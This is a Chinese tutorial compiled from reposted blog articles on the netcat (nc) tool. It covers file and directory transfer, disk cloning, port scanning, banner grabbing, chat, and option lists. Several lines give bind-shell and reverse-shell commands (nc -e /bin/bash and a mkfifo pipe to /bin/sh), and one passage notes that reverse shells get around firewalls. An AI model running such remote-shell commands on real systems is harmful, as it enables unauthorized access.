原文链接:https://www.cnblogs.com/lpfuture/p/4638335.html
NetCat,在网络工具中有“瑞士军刀”美誉,其有Windows和Linux的版本。因为它短小精悍(1.84版本也不过25k,旧版本或缩减版甚至更小)、功能实用,被设计为一个简单、可靠的网络工具,可通过TCP或UDP协议传输读写数据。同时,它还是一个网络应用Debug分析器,因为它可以根据需要创建各种不同类型的网络连接。
一、版本 通常的Linux发行版中都带有NetCat(简称nc),甚至在拯救模式光盘中也由busybox提供了简版的nc工具。但不同的版本,其参数的使用略有差异。 NetCat 官方地址:http://netcat.sourceforge.net/
引用[root@hatest1 ~]# cat /etc/asianux-release Asianux release 2.0 (Trinity SP2) [root@hatest1 ~]# cat /etc/redflag-release Red Flag DC Server release 5.0 (Trinity SP2) [root@hatest1 ~]# type -a nc nc is /usr/bin/nc [root@hatest1 ~]# rpm -q nc nc-1.10-22
建议在使用前,先用man nc看看帮助。这里以红旗DC Server 5.0上的1.10版本进行简单说明。 假设两服务器信息:
引用server1: 192.168.228.221 server2: 192.168.228.222
二、常见使用 1、远程拷贝文件 从server1拷贝文件到server2上。需要先在server2上,用nc激活监听,server2上运行:
引用[root@hatest2 tmp]# nc -lp 1234 > install.log
server1上运行:
引用[root@hatest1 ~]# ll install.log -rw-r--r-- 1 root root 39693 12月 20 2007 install.log [root@hatest1 ~]# nc -w 1 192.168.228.222 1234 < install.log
2、克隆硬盘或分区 操作与上面的拷贝是雷同的,只需要由dd获得硬盘或分区的数据,然后传输即可。 克隆硬盘或分区的操作,不应在已经mount的的系统上进行。所以,需要使用安装光盘引导后,进入拯救模式(或使用Knoppix工具光盘)启动系统后,在server2上进行类似的监听动作:
# nc -l -p 1234 | dd of=/dev/sda
server1上执行传输,即可完成从server1克隆sda硬盘到server2的任务:
# dd if=/dev/sda | nc 192.168.228.222 1234
※ 完成上述工作的前提,是需要落实光盘的拯救模式支持服务器上的网卡,并正确配置IP。
3、端口扫描 可以执行:
引用# nc -v -w 1 192.168.228.222 -z 1-1000 hatest2 [192.168.228.222] 22 (ssh) open
4、保存Web页面
# while true; do nc -l -p 80 -q 1 < somepage.html; done
5、模拟HTTP Headers
引用[root@hatest1 ~]# nc www.linuxfly.org 80 GET / HTTP/1.1 Host: ispconfig.org Referrer: mypage.com User-Agent: my-browser
HTTP/1.1 200 OK Date: Tue, 16 Dec 2008 07:23:24 GMT Server: Apache/2.2.6 (Unix) DAV/2 mod_mono/1.2.1 mod_python/3.2.8 Python/2.4.3 mod_perl/2.0.2 Perl/v5.8.8 Set-Cookie: PHPSESSID=bbadorbvie1gn037iih6lrdg50; path=/ Expires: 0 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Cache-Control: private, post-check=0, pre-check=0, max-age=0 Set-Cookie: oWn_sid=xRutAY; expires=Tue, 23-Dec-2008 07:23:24 GMT; path=/ Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html [......]
在nc命令后,输入红色部分的内容,然后按两次回车,即可从对方获得HTTP Headers内容。
6、聊天 nc还可以作为简单的字符下聊天工具使用,同样的,server2上需要启动监听:
[root@hatest2 tmp]# nc -lp 1234
server1上传输:
[root@hatest1 ~]# nc 192.168.228.222 1234
这样,双方就可以相互交流了。使用Ctrl+D正常退出。
7、传输目录 从server1拷贝nginx-0.6.34目录内容到server2上。需要先在server2上,用nc激活监听,server2上运行:
引用[root@hatest2 tmp]# nc -l 1234 |tar xzvf -
server1上运行:
引用[root@hatest1 ~]# ll -d nginx-0.6.34 drwxr-xr-x 8 1000 1000 4096 12-23 17:25 nginx-0.6.34 [root@hatest1 ~]# tar czvf - nginx-0.6.34|nc 192.168.228.222 1234
8、参数简介 这仅是一个1.10版本的简单说明,详细的参数使用还是需要看man:
引用想要连接到某处: nc [-options] hostname port[s] [ports] ... 绑定端口等待连接: nc -l -p port [-options] [hostname] [port] 参数: -g gateway source-routing hop point[s], up to 8 -G num source-routing pointer: 4, 8, 12, ... -h 帮助信息 -i secs 延时的间隔 -l 监听模式,用于入站连接 -n 指定数字的IP地址,不能用hostname -o file 记录16进制的传输 -p port 本地端口号 -r 任意指定本地及远程端口 -s addr 本地源地址 -u UDP模式 -v 详细输出——用两个-v可得到更详细的内容 -w secs timeout的时间
-z 将输入输出关掉——用于扫描时,其中端口号可以指定一个或者用lo-hi式的指定范围。
9、1.84版本参数简介1. nc [-46DdhklnrStUuvzC] [-i interval] [-p source_port] 2. [-s source_ip_address] [-T ToS] [-w timeout] [-X proxy_protocol] [-x 3. proxy_address[:port]] [hostname] [port[s]] 1. -4 强制使用ipv4 2. -6 强制使用ipv6 3. -D 允许socket通信返回debug信息 4. -d 不允许从标准输入中读取 5. -h 显示nc帮助文档 6. -i interval 7. 指定每行之间内容延时发送和接受,也可以使多个端口之间的连接延时 8. -k 当一个连接结束时,强制nc监听另一个连接。必须和-l一起使用 9. -l 用于监听传入的数据链接,不能与-p -z -s一起使用。-w 参数的超时也会被忽略 10. -n 不执行任何地址,主机名,端口或DNS查询 11. -p 指定nc使用的源端口,受权限限制且不能余-l一起使用 12. -r 指定nc使用的源端口和目的端口,不能使用系统原来就指定的那些端口 13. -S 允许在RFC 2385的TCP MD5签名选项 14. -s source_ip_address 15. 指定用于发包的接口的IP地址,不能和-l一起使用 16. -T ToS 17. 指定链接的IP服务类型(TOS) 18. -C 自动换行 19. -t 使nc能够与telnet交互 20. -U 使用UNIX域socket 21. -u 使用udp代替默认的tcp选项 22. -v 输出详细报告 23. -w timeout 24. 一个链接一段时间无操作,则自动断开,默认无超时 25. -X proxy_version 26. 指定nc使用代理时所采用的协议,可选的有socksv4,socks5以及https。默认socks5 27. -x proxy_address[:port] 28. 指定nc使用的代理地址和端口。默认设置:1080(SOCKS),3128(HTTPS) 29. -z 只监听不发送任何包
三、版本差异 不用系统上提供的nc版本会有说不同,其提供的参数使用方法也略有差异。 例如,红旗Asianux 3.0 SP1拯救光盘上的版本是供使用的参数仅有一部分:
引用# nc -h BusyBox v1.2.0 (2008.04.14-01:35+0000) multi-call binary
Usage: nc [OPTIONS] [IP] [port]
Netcat opens a pipe to IP:port
Options: -l listen mode, for inbound connects -p PORT local port number -i SECS delay interval for lines sent -e PROG program to exec after connect (dangerous!) -w SECS timeout for connects and final net reads
而在Asianux 3.0 SP1系统中提供的nc版本则是1.84的,按上面的参数用法写会执行不了:
引用[root@ftpserver ~]# rpm -q nc nc-1.84-10 [root@ftpserver ~]# nc -lp 1234 usage: nc [-46DdhklnrStUuvzC] [-i interval] [-p source_port] [-s source_ip_address] [-T ToS] [-w timeout] [-X proxy_version] [-x proxy_address[:port]] [hostname] [port[s]]
讲查看man文档,可见在这个版本中,-l是不能与-s、-p、-z一起使用的,-w参数也会被忽略,所以,正确的用法是:
[root@ftpserver tmp]# nc -l 1234
四、用在脚本中 nc每次启动监听后,都会在客户端连接完成并退出的同时,服务端一同退出。所以,如果需要不断的使用nc进行数据传输,需要在脚本中使用循环。利用nc实现更多的功能,可参考其rpm提供的参考脚本:
引用# rpm -qd nc /usr/share/doc/nc-1.10/Changelog /usr/share/doc/nc-1.10/README /usr/share/doc/nc-1.10/scripts/README /usr/share/doc/nc-1.10/scripts/alta /usr/share/doc/nc-1.10/scripts/bsh /usr/share/doc/nc-1.10/scripts/dist.sh /usr/share/doc/nc-1.10/scripts/irc /usr/share/doc/nc-1.10/scripts/iscan /usr/share/doc/nc-1.10/scripts/ncp /usr/share/doc/nc-1.10/scripts/probe /usr/share/doc/nc-1.10/scripts/web /usr/share/doc/nc-1.10/scripts/webrelay /usr/share/doc/nc-1.10/scripts/websearch /usr/share/man/man1/nc.1.gz
中以多种方式使用它。使用netcat命令所能完成的事情令人惊讶。 netcat所做的就是在两台电脑之间建立链接并返回两个数据流,在这之后所能做的事就看你的想像力了。你能建立一个服务器,传输文件,与朋友聊天,传输流媒体或者用它作为其它协议的独立客户端。 下面是一些使用netcat的例子. [A(172.31.100.7) B(172.31.100.23)] | ![]() 晴风晓月
|
Linux netcat 命令实例: 1,端口扫描端口扫描经常被系统管理员和黑客用来发现在一些机器上开放的端口,帮助他们识别系统中的漏洞。 $nc -z -v -n 172.31.100.7 21-25可以运行在TCP或者UDP模式,默认是TCP,-u参数调整为udp. z 参数告诉netcat使用0 IO,连接成功后立即关闭连接, 不进行数据交换(谢谢@jxing 指点) v 参数指使用冗余选项(译者注:即详细输出) n 参数告诉netcat 不要使用DNS反向查询IP地址的域名 这个命令会打印21到25 所有开放的端口。Banner是一个文本,Banner是一个你连接的服务发送给你的文本信息。当你试图鉴别漏洞或者服务的类型和版本的时候,Banner信息是非常有用的。但是,并不是所有的服务都会发送banner。 一旦你发现开放的端口,你可以容易的使用netcat 连接服务抓取他们的banner。 $ nc -v 172.31.100.7 21netcat 命令会连接开放端口21并且打印运行在这个端口上服务的banner信息。 | ![]() 葱油拌面
|
Chat Server假如你想和你的朋友聊聊,有很多的软件和信息服务可以供你使用。但是,如果你没有这么奢侈的配置,比如你在计算机实验室,所有的对外的连接都是被限制的,你怎样和整天坐在隔壁房间的朋友沟通那?不要郁闷了,netcat提供了这样一种方法,你只需要创建一个Chat服务器,一个预先确定好的端口,这样子他就可以联系到你了。 Server $nc -l 1567 netcat 命令在1567端口启动了一个tcp 服务器,所有的标准输出和输入会输出到该端口。输出和输入都在此shell中展示。 Client $nc 172.31.100.7 1567不管你在机器B上键入什么都会出现在机器A上。 | ![]() 葱油拌面
|
其它翻译版本(1) |
3,文件传输大部分时间中,我们都在试图通过网络或者其他工具传输文件。有很多种方法,比如FTP,SCP,SMB等等,但是当你只是需要临时或者一次传输文件,真的值得浪费时间来安装配置一个软件到你的机器上嘛。假设,你想要传一个文件file.txt 从A 到B。A或者B都可以作为服务器或者客户端,以下,让A作为服务器,B为客户端。 Server $nc -l 1567 < file.txtClient $nc -n 172.31.100.7 1567 > file.txt这里我们创建了一个服务器在A上并且重定向netcat的输入为文件file.txt,那么当任何成功连接到该端口,netcat会发送file的文件内容。 在客户端我们重定向输出到file.txt,当B连接到A,A发送文件内容,B保存文件内容到file.txt. 没有必要创建文件源作为Server,我们也可以相反的方法使用。像下面的我们发送文件从B到A,但是服务器创建在A上,这次我们仅需要重定向netcat的输出并且重定向B的输入文件。 B作为Server Server $nc -l 1567 > file.txt Client nc 172.31.100.23 1567 < file.txt | ![]() 葱油拌面
|
4,目录传输发送一个文件很简单,但是如果我们想要发送多个文件,或者整个目录,一样很简单,只需要使用压缩工具tar,压缩后发送压缩包。 如果你想要通过网络传输一个目录从A到B。 Server $tar -cvf – dir_name | nc -l 1567 Client
$nc -n 172.31.100.7 1567 | tar -xvf -这里在A服务器上,我们创建一个tar归档包并且通过-在控制台重定向它,然后使用管道,重定向给netcat,netcat可以通过网络发送它。 在客户端我们下载该压缩包通过netcat 管道然后打开文件。 如果想要节省带宽传输压缩包,我们可以使用bzip2或者其他工具压缩。 Server
$tar -cvf – dir_name| bzip2 -z | nc -l 1567 通过bzip2压缩 Client
$nc -n 172.31.100.7 1567 | bzip2 -d |tar -xvf -使用bzip2解压 | ![]() 葱油拌面
|
7,克隆一个设备如果你已经安装配置一台Linux机器并且需要重复同样的操作对其他的机器,而你不想在重复配置一遍。不在需要重复配置安装的过程,只启动另一台机器的一些引导可以随身碟和克隆你的机器。 克隆Linux PC很简单,假如你的系统在磁盘/dev/sda上 Server $dd if=/dev/sda | nc -l 1567Client $nc -n 172.31.100.7 1567 | dd of=/dev/sdadd是一个从磁盘读取原始数据的工具,我通过netcat服务器重定向它的输出流到其他机器并且写入到磁盘中,它会随着分区表拷贝所有的信息。但是如果我们已经做过分区并且只需要克隆root分区,我们可以根据我们系统root分区的位置,更改sda 为sda1,sda2.等等。 | ![]() 葱油拌面
|
8,打开一个shell我们已经用过远程shell-使用telnet和ssh,但是如果这两个命令没有安装并且我们没有权限安装他们,我们也可以使用netcat创建远程shell。 假设你的netcat支持 -c -e 参数(默认 netcat) Server $nc -l 1567 -e /bin/bash -iClient $nc 172.31.100.7 1567这里我们已经创建了一个netcat服务器并且表示当它连接成功时执行/bin/bash 假如netcat 不支持-c 或者 -e 参数(openbsd netcat),我们仍然能够创建远程shell Server $mkfifo /tmp/tmp_fifo $cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l 1567 > /tmp/tmp_fifo这里我们创建了一个fifo文件,然后使用管道命令把这个fifo文件内容定向到shell 2>&1中。是用来重定向标准错误输出和标准输出,然后管道到netcat 运行的端口1567上。至此,我们已经把netcat的输出重定向到fifo文件中。 说明: 从网络收到的输入写到fifo文件中 cat 命令读取fifo文件并且其内容发送给sh命令 sh命令进程受到输入并把它写回到netcat。 netcat 通过网络发送输出到client 至于为什么会成功是因为管道使命令平行执行,fifo文件用来替代正常文件,因为fifo使读取等待而如果是一个普通文件,cat命令会尽快结束并开始读取空文件。 在客户端仅仅简单连接到服务器 Client $nc -n 172.31.100.7 1567你会得到一个shell提示符在客户端 | ![]() 葱油拌面
|
其它翻译版本(1) |
反向shell反向shell是指在客户端打开的shell。反向shell这样命名是因为不同于其他配置,这里服务器使用的是由客户提供的服务。 服务端 $nc -l 1567在客户端,简单地告诉netcat在连接完成后,执行shell。 客户端 $nc 172.31.100.7 1567 -e /bin/bash现在,什么是反向shell的特别之处呢 反向shell经常被用来绕过防火墙的限制,如阻止入站连接。例如,我有一个专用IP地址为172.31.100.7,我使用代理服务器连接到 外部网络。如果我想从网络外部访问 这台机器如1.2.3.4的shell,那么我会用反向外壳用于这一目的。 | ![]() showme
|
原文链接:https://www.cnblogs.com/nmap/p/6148306.html
什么是nc
nc是netcat的简写,有着网络界的瑞士军刀美誉。因为它短小精悍、功能实用,被设计为一个简单、可靠的网络工具
nc的作用
nc的控制参数不少,常用的几个参数如下所列:
前期准备
![](https://i-blog.csdnimg.cn/blog_migrate/c5fc9b73d72aa9d1d2b923eac7734953.png)
![](https://i-blog.csdnimg.cn/blog_migrate/ab4d6159475cbde5222b7eefe8d2268a.png)
![](https://i-blog.csdnimg.cn/blog_migrate/d6fedd3c33c501c3e9d61f6b41b32ff3.png)
![](https://i-blog.csdnimg.cn/blog_migrate/b1449386ad044f730f37181372ba357e.png)
![](https://i-blog.csdnimg.cn/blog_migrate/371d352cb47865f0e90debfe97c2388b.png)
![](https://i-blog.csdnimg.cn/blog_migrate/534fb3271437745579ec67fba2ae826f.png)
![](https://i-blog.csdnimg.cn/blog_migrate/d7af2ffa4afb1973c9fcd790073014cf.png)
![](https://i-blog.csdnimg.cn/blog_migrate/da090794b725845661f2d99b185a17aa.png)
![](https://i-blog.csdnimg.cn/blog_migrate/f57505fe90b780ed79120894d449e82b.png)
![](https://i-blog.csdnimg.cn/blog_migrate/dfbf97b9b8f8eb26160c30f178cc0f69.png)
![](https://i-blog.csdnimg.cn/blog_migrate/7bec947e112a7dcb74793f10ec87b01f.png)
![](https://i-blog.csdnimg.cn/blog_migrate/4035c1b4f3ede8f07218b7c7d33f2128.png)
![](https://i-blog.csdnimg.cn/blog_migrate/ad6bfb4306b014b1eb46c240a34835cf.png)
![](https://i-blog.csdnimg.cn/blog_migrate/1d7186018d61cee2d08ca5d60b81fef2.png)
![](https://i-blog.csdnimg.cn/blog_migrate/f7ce56c810bd52ddb019525eae587c8c.png)
![](https://i-blog.csdnimg.cn/blog_migrate/799fa19b5e68d8bba9cb488addcbebe0.png)
![](https://i-blog.csdnimg.cn/blog_migrate/bad065b3c92304d25dc84f02059d36f8.png)
![](https://i-blog.csdnimg.cn/blog_migrate/6e19c4e87491d73daecd1bea91ff548d.png)
![](https://i-blog.csdnimg.cn/blog_migrate/9cac8e0b90aa1d9a2836ba0dba49a28d.png)
![](https://i-blog.csdnimg.cn/blog_migrate/37ff78c1eef6e64db0cffdc6006fd07e.png)
![](https://i-blog.csdnimg.cn/blog_migrate/6f8da33d4981e63dae0a6a87249c599f.png)
![](https://i-blog.csdnimg.cn/blog_migrate/f68fc7ea8ebd2a9634c8c0c5f0a1662d.png)
![](https://i-blog.csdnimg.cn/blog_migrate/5204a3453d3fbcc86b7fa67af9755c26.png)
![](https://i-blog.csdnimg.cn/blog_migrate/addb95e9a8d12333ef2b9189e88351d8.png)
![](https://i-blog.csdnimg.cn/blog_migrate/f058eddc25d2b4e11fbd063247cc6600.png)
![](https://i-blog.csdnimg.cn/blog_migrate/59c5a1050763177223753d9b1febd4dd.png)
测试网速其实利用了传输文件的原理,就是把来自一台机器的/dev/zero 发送给另一台机器的/dev/null
![](https://i-blog.csdnimg.cn/blog_migrate/ab5f8987c9c6d84adbe9cc1938ba998c.png)
![](https://i-blog.csdnimg.cn/blog_migrate/32e257bbd92423502d0a43471d957cc6.png)
![](https://i-blog.csdnimg.cn/blog_migrate/5ccdc3701b0649ecb1de5245acf19142.png)
![](https://i-blog.csdnimg.cn/blog_migrate/f5c004f6bdf7aae7f47f221270408c6a.png)